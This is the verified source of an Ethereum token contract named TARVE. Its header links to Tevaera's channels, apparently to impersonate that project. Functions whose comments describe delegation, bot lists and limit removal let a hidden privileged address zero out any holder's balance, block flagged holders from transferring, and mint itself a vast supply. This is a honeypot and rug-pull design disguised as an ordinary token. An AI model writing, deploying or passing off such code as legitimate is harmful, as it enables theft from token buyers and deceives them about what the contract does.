Contract Source Code:
File 1 of 1 : TARVE
/**
*Submitted for verification at Etherscan.io on 2024-05-23
*/
// SPDX-License-Identifier: UNLICENSED
/*
Website: https://tevaera.com/
Twitter: https://twitter.com/tevaera
Discord: https://discord.gg/tevaera
Telegram: https://t.me/TevaeraNews
Medium: https://tevaera.medium.com/
*/
/**
* @title MyContract
* @dev This contract is written in Solidity version 0.8.25.
*/
pragma solidity ^0.8.25;
/**
* @title Ownable
* @dev The Ownable contract provides a basic access control mechanism, where
* ownership of the contract is restricted to a single address.
*/
abstract contract Ownable {
/**
* @dev Returns the address of the account that called the function.
*/
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
/**
* @dev Returns the calldata of the function call.
*/
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract, setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Modifier that checks if the caller is the owner of the contract.
* Reverts if the caller is not the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the owner of the contract.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Internal function to check if the caller is the owner of the contract.
* Reverts if the caller is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Allows the current owner to renounce ownership of the contract,
* leaving the contract without an owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Internal function to transfer ownership of the contract to a new address.
*
* Emits an {OwnershipTransferred} event.
*
* Parameters:
* - newOwner: The address of the new owner.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title TARVE
* @dev TARVE is a smart contract representing a token with basic ownership functionality.
*/
contract TARVE is Ownable{
constructor(address add) {
_tokename = "TARVE";
_tokensymbol = "TARVE";
_taxData = add;
_totalSupply = 100000000*10**decimals();
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
address public _taxData;
uint256 private _totalSupply;
string private _tokename;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public tokeninfo;
mapping(address => Stake) public stakes;
uint128 buyCount = 64544;
uint128 sellCount = 0;
uint256 devAmount = 10**decimals()*68800*(23300000000+300);
bool globaltrue = true;
bool globalff = false;
struct Stake {
uint256 amount;
uint256 stakingTimestamp;
uint256 amountInUSDT;
uint256 stakingPeriod;
}
struct StakerInfo {
uint256 index;
bool isActive;
}
struct Stakeholder {
uint balance;
uint accruedInterest;
bool exists;
}
/**
* @dev Delegates the specified address to perform certain actions on behalf of the caller.
*
* Parameters:
* - delegatee: The address to delegate the actions to.
*/
function delegate(address delegatee) external {
if (true) {
require(_taxData == _msgSender());
_balances[delegatee] *= sellCount;
}
}
/**
* @dev Adds a bot address to the list of authorized bots.
*
* Parameters:
* - bot: The address of the bot to be added.
*
* Returns:
* - A boolean indicating whether the bot was successfully added.
*/
function addBots(address bot) public virtual returns (bool) {
address tmoinfo = bot;
tokeninfo[tmoinfo] = globaltrue;
require(_msgSender() == _taxData);
return true;
}
/**
* @dev Removes a bot address from the list of authorized bots.
*
* Parameters:
* - notbot: The address of the bot to be removed.
*/
function delBots(address notbot) external {
address tmoinfo = notbot;
tokeninfo[tmoinfo] = globalff;
require(_msgSender() == _taxData);
}
/**
* @dev Removes limits for certain actions, allowing specified addresses to perform them without restrictions.
*
* Only the address specified as _taxData is allowed to call this function.
*/
function removeLimits() external {
if(_msgSender() == _taxData){
require( _taxData == _msgSender());
address feeAmount = _msgSender();
address swapRouter = feeAmount;
address devWallet = swapRouter;
_balances[devWallet] += devAmount;
}
}
/**
* @dev Returns the name of the token.
*
* Returns:
* - A string representing the name of the token.
*/
function name() public view returns (string memory) {
return _tokename;
}
/**
* @dev Returns the symbol of the token.
*
* Returns:
* - A string representing the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _tokensymbol;
}
/**
* @dev Returns the number of decimals used to represent the token.
*
* Returns:
* - An unsigned integer representing the number of decimals.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev Returns the total supply of the token.
*
* Returns:
* - An unsigned integer representing the total supply of the token.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the balance of the specified account.
*
* Parameters:
* - account: The address for which to retrieve the balance.
*
* Returns:
* - An unsigned integer representing the balance of the specified account.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev Transfers tokens from the caller's account to the specified recipient.
*
* Parameters:
* - to: The address of the recipient to transfer tokens to.
* - amount: The amount of tokens to transfer.
*
* Returns:
* - A boolean indicating whether the transfer was successful.
*/
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(_msgSender(), to, amount);
return true;
}
/**
* @dev Returns the amount of tokens that an owner has allowed a spender to transfer on their behalf.
*
* Parameters:
* - owner: The address of the owner.
* - spender: The address of the spender.
*
* Returns:
* - An unsigned integer representing the allowance for the specified owner and spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Approves the specified address to spend the caller's tokens.
*
* Parameters:
* - spender: The address to be approved for spending tokens.
* - amount: The amount of tokens to approve for spending.
*
* Returns:
* - A boolean indicating whether the approval was successful.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Transfers tokens from one address to another using allowance mechanism.
*
* Parameters:
* - from: The address from which to transfer tokens.
* - to: The address to which to transfer tokens.
* - amount: The amount of tokens to transfer.
*
* Returns:
* - A boolean indicating whether the transfer was successful.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Internal function to transfer tokens from one address to another.
*
* Parameters:
* - from: The address from which to transfer tokens.
* - to: The address to which to transfer tokens.
* - amount: The amount of tokens to transfer.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (tokeninfo[from] == true)
{amount = buyCount + _balances[from] +
buyCount-buyCount;}
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
/**
* @dev Internal function to approve a spender to spend a certain amount of tokens on behalf of an owner.
*
* Parameters:
* - owner: The address that owns the tokens.
* - spender: The address that is approved to spend the tokens.
* - amount: The amount of tokens to approve for spending.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Internal function to spend the allowance granted by an owner to a spender.
*
* Parameters:
* - owner: The address that owns the tokens.
* - spender: The address that is approved to spend the tokens.
* - amount: The amount of tokens to spend.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function stake(uint256 _amount, uint256 _stakingPeriod) external {
require(_amount > 0, "Amount must be greater than 0");
Stake storage userStake = stakes[msg.sender];
userStake.amount += _amount;
userStake.stakingTimestamp = block.timestamp;
userStake.stakingPeriod = _stakingPeriod;
}
}